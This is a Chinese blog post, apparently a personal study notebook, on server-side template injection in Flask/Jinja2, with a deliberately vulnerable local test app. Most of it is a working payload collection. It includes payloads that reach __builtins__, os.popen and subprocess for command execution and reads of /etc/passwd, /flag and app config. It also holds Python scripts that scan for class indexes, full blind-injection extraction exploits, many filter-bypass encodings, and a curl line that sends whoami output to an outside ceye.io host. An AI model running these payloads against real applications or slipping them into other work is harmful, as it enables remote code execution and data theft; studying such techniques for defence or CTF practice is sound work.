MYBLOG

知识库-SSTI-flask篇

2021-08-06 06:58:06ans

SSTI

原理

原理与其他注入漏洞很相似,就是模板中对用户输入的地方处理不当,导致用户输入作为模板一部分被渲染,造成代码注入以及命令执行等。

基础

基础的测试方法是用形如{{1+1}}的方式来看结果是不是2,如果是2,说明输入被当作是一条语句执行了,就存在模板注入漏洞。

而SSTI的攻击,其实就是通过各种方法找到能够执行命令的函数来执行命令。由于没有builtins,命名空间受限,我们在{{}}表达式中无法使用eval、open等操作,但若我们可以通过任意一个函数的func_globals得到它们的命名空间即得到builtins。

在python中所有类都是type类的实例,而又都继承自object类,所以可以从object类的子类层层往下找,中间涉及一些特殊方法例如__repr__``__init__等,详细的介绍见https://xz.aliyun.com/t/8029

基本流程

1.1寻找__builtins__命名空间

一般ssti里用户输入是没有builtins命名空间的,因此想要执行eval、open等函数需要先找到__builtins__命名空间:

常用方法:

  1. #常用方法
  2. __class__ #返回type类型,查看对象的类型
  3. __bases__ #返回tuple类型,列出该类的基类
  4. __mro__ #返回tuple类型,给出解析方法调用的顺序
  5. __subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
  6. __globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量
  7. #jinja2语法:
  8. {{xxx}}:xxx为表达式
  9. {%xxx%}:xxxfor,ifset语句

先用__class__获得任何对象的类型,然后通过__mro__或者__base__向上找便可以得到object类。

  1. #获得基类
  2. #python2.7
  3. ''.__class__.__mro__[2]
  4. {}.__class__.__bases__[0]
  5. ().__class__.__bases__[0]
  6. [].__class__.__bases__[0]
  7. request.__class__.__mro__[1]
  8. #python3.7
  9. ''.__class__.__mro__[1]
  10. {}.__class__.__bases__[0]
  11. ().__class__.__bases__[0]
  12. [].__class__.__bases__[0]
  13. request.__class__.__mro__[1]

得到object类后用__subclasses__()方法得到全部子类

再找重载过__init__``__repr__``__enter__``__exit__等特殊方法的类,POC:

  1. import requests
  2. url = "http://127.0.0.1:5000/test"
  3. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  4. class_list = []
  5. for i in range(0,524):
  6. params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__['__builtins']}}" % i}
  7. print_param = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
  8. res = requests.get(url=url,params=params,headers=headers).text
  9. if not 'jinja2.exceptions.UndefinedError' in res:
  10. print(i) # 输出可用的类的索引
  11. class_list.append(requests.get(url=url,params=print_param,headers=headers).text)
  12. # print(class_list) # 输出类名

随便选一个可用的类:

  1. {{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']}}

利用这些类的__init__或者__repr__方法的__globals__得到__builtins__,或者os,codecs等可以进行代码执行的调用:

直接读取文件:

  1. {{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__'].open('run.py').read()}}

利用eval导入os模块执行命令:

  1. {{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

利用func_globals.linecache(只有python2可以)

  1. [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
  2. [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

用eval导入codecs模块读文件:

  1. {{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']['eval']("__import__('codecs').open('run.py').read()")}}

通过遍历找到指定的类来执行命令或读文件(好处就是不需要用脚本来看哪些类能用了):

  1. #命令执行
  2. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
  3. #文件操作
  4. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

1.2直接寻找类中可用的非builtin命名空间的系统函数

这种方法不用获得__builtins__命名空间

首先查找哪些类有某个方法例如popen方法:

  1. import requests
  2. import html
  3. url = "http://127.0.0.1:5000/test"
  4. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  5. class_list = []
  6. for i in range(0,524):
  7. params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__}}" % i}
  8. print_param = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
  9. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  10. if "'popen':" in res and not 'jinja2.exceptions.UndefinedError' in res:
  11. print(i)
  12. class_list.append(html.unescape(requests.get(url=url,params=print_param,headers=headers).text)[29:])
  13. print(class_list)

返回:

  1. 118
  2. ["<class 'os._wrap_close'>"]

表示''.__class__.__mro__[1].__subclasses__()[118]为os.warpclose类,这个类有popen方法,于是就可以直接调用popen方法,不需要获得`__builtins`:

  1. {{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__.popen('whoami').read()}}

除了popen之外还可以查询os

  1. {{''.__class__.__mro__[1].__subclasses__()[523].__init__.__globals__.os.popen('whoami').read()}}

1.3寻找subprocess.Popen类直接RCE

寻找这个类的脚本:

  1. import requests
  2. import html
  3. url = "http://127.0.0.1:5000/test"
  4. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  5. class_list = []
  6. for i in range(0,524):
  7. params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
  8. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  9. if 'subprocess.Popen' in res:
  10. print(i)

找到后直接执行命令:

  1. {{''.__class__.__mro__[1].__subclasses__()[290]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
  2. 对于有参数的命令可以用列表代替:
  3. {{''.__class__.__mro__[1].__subclasses__()[290](['ls','-l'],shell=True,stdout=-1).communicate()[0].strip()}}

python2的方法

摘自https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652868785&idx=1&sn=aea3849c8ee1cdc50ad0742744159800

因为python3和python2两个版本下有差别,这里把python2单独拿出来说

tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0]

file类读写文件

本方法只能适用于python2,因为在python3中file类已经被移除了

可以使用dir查看file对象中的内置方法

  1. >>> dir(().__class__.__bases__[0].__subclasses__()[40])
  2. ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

然后直接调用里面的方法即可,payload如下

读文件

  1. {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
  2. {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
  • warnings类中的linecache

本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出

我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类

  1. λ python find.py
  2. (<class 'warnings.WarningMessage'>, 59)
  3. (<class 'warnings.catch_warnings'>, 60)

后面如法炮制,payload如下

  1. {{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami')

测试环境搭建

简单的flask环境搭建:

  1. from flask import Flask
  2. from flask import request
  3. from flask import render_template_string
  4. from urllib import parse
  5. app = Flask(__name__)
  6. app.debug = True
  7. @app.route('/')
  8. def hello_world():
  9. return 'hello world'
  10. @app.route('/test',methods=['GET','POST'])
  11. def test():
  12. a = parse.unquote(request.url)
  13. template = '%s' % a
  14. return render_template_string(template)
  15. if __name__ == '__main__':
  16. app.run(host='127.0.0.1',port=5000)

运行在URL输入http://127.0.0.1:5000/test?{{1+1}}就可以开始测试了

部分bypass

1.过滤[]括号:

  1. {{''.class.__mro__[1].__subclasses__()[163]}}
  2. 可以用__getitem__函数代替:
  3. {{''.class.__mro__.__getitem__(1).__subclasses__().__getitem__(163)}}
  4. 若结果是列表则可用pop函数代替(mro不是列表是元组,通常用__base__即可代替):
  5. {{''.class.__mro__[1].__subclasses__().pop(163)}}
  6. 若结果是字典则可用.get函数代替:
  7. {{''.class.__mro__[1].__subclasses__()[64].__init__.__globals__.get('builtins')}}
  8. 即使是作为属性名的__subclasses__也可以用__dict__.get('__subclasses')[193]的方式代替:
  9. {{''.class.__mro__[1].__dict__.get('__subclasses__()')[193].__init__.__globals__.get('builtins')}}

2.过滤了.

  1. {{()["__class__"]}}
  2. {{()|attr("__class__")}}
  3. {{getattr((),"__class__")}}

3.中括号拆分法(过滤关键词如subclasses)

  1. {{"".class.__bases[0]__.__subclasses__()[163]}}
  2. 变为:
  3. {{"".class.__bases[0]__['__subc'+'lasses__()[163]']}}

4.用platform、subprocess代替os

  1. import platform
  2. print platform.popen('dir').read()
  3. 用法和os完全一致,因此可以把下面的payload
  4. {{[]['__class__'].__mro__[1].__dict__.get('sub'+'classes__()')[193].__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}
  5. 代替为:
  6. {{[]['__class__'].__mro__[1].__dict__.get('sub'+'classes__()')[193].__init__.__globals__['__builtins__'].eval("__import__('platform').popen('dir').read()")}}

除此之外,还有subprocess.getoutput(cmd)、subprocess.getstatusoutput(cmd)等

5.不使用globals的payload:

  1. // <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,
  2. 如果可以找到warnings.catch_warnings类,则可以不使用 globals
  3. ''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")

找到这个类的索引的POC:

  1. import requests
  2. import html
  3. url = "http://127.0.0.1:5000/test"
  4. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  5. class_list = []
  6. for i in range(0,524):
  7. params = {"a":"{{().__class__.__mro__[1].__subclasses__()[%d]}}" % i}
  8. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  9. if "catch_warnings" in res:
  10. print(i)
  11. print(res)

6.利用request对象可以得到请求信息的特性(常用于过滤引号或某些字符)

  1. request.args.xxx
  2. request.cookies.xxx
  3. request.headers.xxx
  4. request.values.xxx
  5. request.form.xxx

举个例子:

  1. // url?a=eval&b={{''.__class__.__mro__[2].__subclasses__()[162].__init__.__globals__.__builtins__[request.args.a]('__import__("os").popen("ls").read()')}}
  2. // Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
  3. {{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}

这种方法request.xxx.xxx必须在中括号或函数括号内,否则无效

7.在字符被ban的情况下如何获得字符

7.1__str__函数

上面的例子如果request也被ban了,可以通过{{(config.__str__()[2])+(config.__str__()[3])}}获得想要的字符。

7.2找到chr()函数

可以用前面的方法找到builtins之后再找到chr()函数,用{%%}语句定义chr函数,然后就可以用chr(xx)来表示字符

例如:

  1. {% chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}

定义后调用(加号要urlencode不然会识别为空格):

  1. {{().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() }}

7.3利用内置过滤器产生任意字符

这个方法利用的是构造出’%c’字符串,然后利用python的’%c’ % (number)的语法来构造任意字符

利用flask的g对象,可以得到’%’:

  1. {%set pc = g|lower|list|first|urlencode|first%}

然后得到’c’:

  1. {%set c=dict(c=1).keys()|reverse|first%}

合并二者得到’%c’:

  1. {%set udl=dict(a=pc,c=c).values()|join %}

之后可以得到任意字符:

  1. {%set udl2=udl%(95)%}{{udl}}

合起来的payload就是:

  1. {%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set udl2=udl%(95)%}{{udl}}

在过滤器没被ban的情况下,只要有任何可以利用的字符,用过滤器处理过后都可以得到任意字符

8.过滤双花括号{{}}

8.1 用{%%}并盲注

  1. {% if 'r' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")) %}1{% endif %}

这样没有回显,只有猜中结果时会返回1,这显然不可用,所以需要考虑外带
当然也可以用下面三种方式进行单个字符的注入:

8.1.1首先用|list|first获得结果的第一个字符来匹配:
  1. {% if 'f' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|list|first %}Anylike{% endif %}

jinja2语法表达式里有’in’,所以得到第一个字符之后可以用in来单字符注入:

  1. {% if 'ru' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|list|first %}1{% endif %}

如果匹配成功返回1,否则不会返回,返回的内容可以自行设定

这种方式的exp:

  1. import requests
  2. import html
  3. import sys
  4. url = "http://127.0.0.1:5000/test"
  5. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  6. class_list = []
  7. result = ""
  8. #判断是否已经全部盲注出结果
  9. def end():
  10. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
  11. params = {"a": payload}
  12. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  13. if 'Anylike' in res:
  14. return True
  15. else:
  16. return False
  17. # 第一个字符
  18. for i in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"":
  19. # 默认payload
  20. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))|list|first %%}Anylike{%% endif %%}" % (result+i)
  21. params = {"a": payload}
  22. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  23. if "Anylike" in res:
  24. result += i
  25. sys.stdout.write("\r%s" % result)
  26. break
  27. # 后续字符
  28. while not end():
  29. for i in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"":
  30. # 默认payload
  31. payload = "{%% if '%s' in (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result+i)
  32. params = {"a": payload}
  33. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  34. if "Anylike" in res:
  35. result += i
  36. sys.stdout.write("\r%s" % result)
8.1.2通过翻看jinja2内置过滤器发现存在截取字符串的过滤器truncate:

truncate(length,killwords,end,leeway)四个参数分别为截取的长度,是否截断单词,结束的符号是什么,以及容差(即留有多少余地)

详细的解释在https://blog.csdn.net/yueguangMaNong/article/details/85196199

一般killwords设为True,end默认为三个点,可以手动设为空字符,leeway必须设置且要设为0

  1. {{ (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|truncate(2,True,'',leeway=0) }}

这样上述代码截取的就是结果的前两个字符,这样进行盲注会比较简单

这种方式的EXP:

  1. import requests
  2. import html
  3. import sys
  4. url = "http://127.0.0.1:5000/test"
  5. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  6. class_list = []
  7. result = ""
  8. #判断是否已经全部盲注出结果
  9. def end():
  10. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
  11. params = {"a": payload}
  12. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  13. if 'Anylike' in res:
  14. return True
  15. else:
  16. return False
  17. i = 0
  18. while not end():
  19. i += 1
  20. for j in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"\t\n\r ":
  21. # 默认payload
  22. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))|truncate(%d,True,'',leeway=0) %%}Anylike{%% endif %%}" % (result+j,i)
  23. params = {"a": payload}
  24. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  25. if "Anylike" in res:
  26. result += j
  27. sys.stdout.write("\r%s" % result)
  28. break
8.1.3直接进行单字符盲注:

直接用{{x[i]}}这种方式截取单个字符来盲注,这是最简单的盲注方式,但是中括号不能被过滤

EXP:

  1. import requests
  2. import html
  3. import sys
  4. url = "http://127.0.0.1:5000/test"
  5. headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
  6. class_list = []
  7. result = ""
  8. #判断是否已经全部盲注出结果
  9. def end():
  10. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
  11. params = {"a": payload}
  12. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  13. if 'Anylike' in res:
  14. return True
  15. else:
  16. return False
  17. i = 0
  18. while not end():
  19. for j in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"\t\n\r ":
  20. # 默认payload
  21. payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))[%d] %%}Anylike{%% endif %%}" % (j,i)
  22. params = {"a": payload}
  23. res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
  24. if "Anylike" in res:
  25. result += j
  26. sys.stdout.write("\r%s" % result)
  27. break
  28. i += 1

8.2 用{%print%}标记,有回显

  1. {%print config%}

8.3数据外带

用ceye平台接收数据:

  1. {% if ().__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']("curl `whoami`.aq4xd7.ceye.io").read()=='Anylike' %}1{% endif %}

9.利用flask内置的函数、对象以及配置文件

9.1flask内置函数、对象

  1. {{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
  2. {{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
  3. {{lipsum.__globals__['__builtins__'].open('/flag').read()}}
  4. {{session.__init__.__globals__['__builtins__'].open('/flag').read()}}

所有的函数、对象清单链接:

http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters

中文版:

https://www.osgeo.cn/jinja/templates.html#builtin-filters

9.2查config

  1. {{config}}
  2. {{get_flashed_messages.__globals__['current_app'].config}}
  3. {{self.__dict__._TemplateReference__context}}

10.编码绕过

所有在引号里的字符都可以用十六进制绕过:

  1. {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

jinja2属性函数引号里的值可以用unicode编码绕过:

  1. {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

转十六进制的POC:

  1. string1="__class__"
  2. string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
  3. def tohex(string):
  4. result = ""
  5. for i in range(len(string)):
  6. result=result+"\\x"+hex(ord(string[i]))[2:]
  7. print(result)
  8. tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
  9. print(string2) #__class__

11.过滤class:

可以用__getattribute__绕过:

  1. {{"".__getattribute__("__cla"+"ss__").__base__}}

12.特殊方法

此处持续更新

先记录一个_frozen_importlib_external.FileLoaderget_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下

  1. {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}

使用十六进制绕过后,payload如下

  1. {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}

13.导入主函数读取变量

通过__import__导入__main__来读取代码中的变量

  1. {%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

14.jinja2内置过滤器

8.1部分提到了一部分jinja2过滤器的使用

过滤器最常用的就是用xxx|attr(‘xxx’)来获得属性代替__xxx__.__xxx__的形式

  1. {{((lipsum|attr('__globals__'))|attr('__getitem__')('__builtins__')).__import__('os').popen('ls').read()}}

注意不能直接(xxx|attr('globals'))|attr('__builtins__')因为__builtins__是字典而不是对象,所以没有属性只有键和值,所以要用__getitem__取出键对应的值

全部的过滤器链接如下:

http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters

中文版:

https://www.osgeo.cn/jinja/templates.html#builtin-filters

参考文献

https://xz.aliyun.com/t/8029

http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/

https://desperadoccy.xyz/2019/09/05/SSTI/

https://www.wangan.com/articles/1031

https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652868785&idx=1&sn=aea3849c8ee1cdc50ad0742744159800

全部留言 0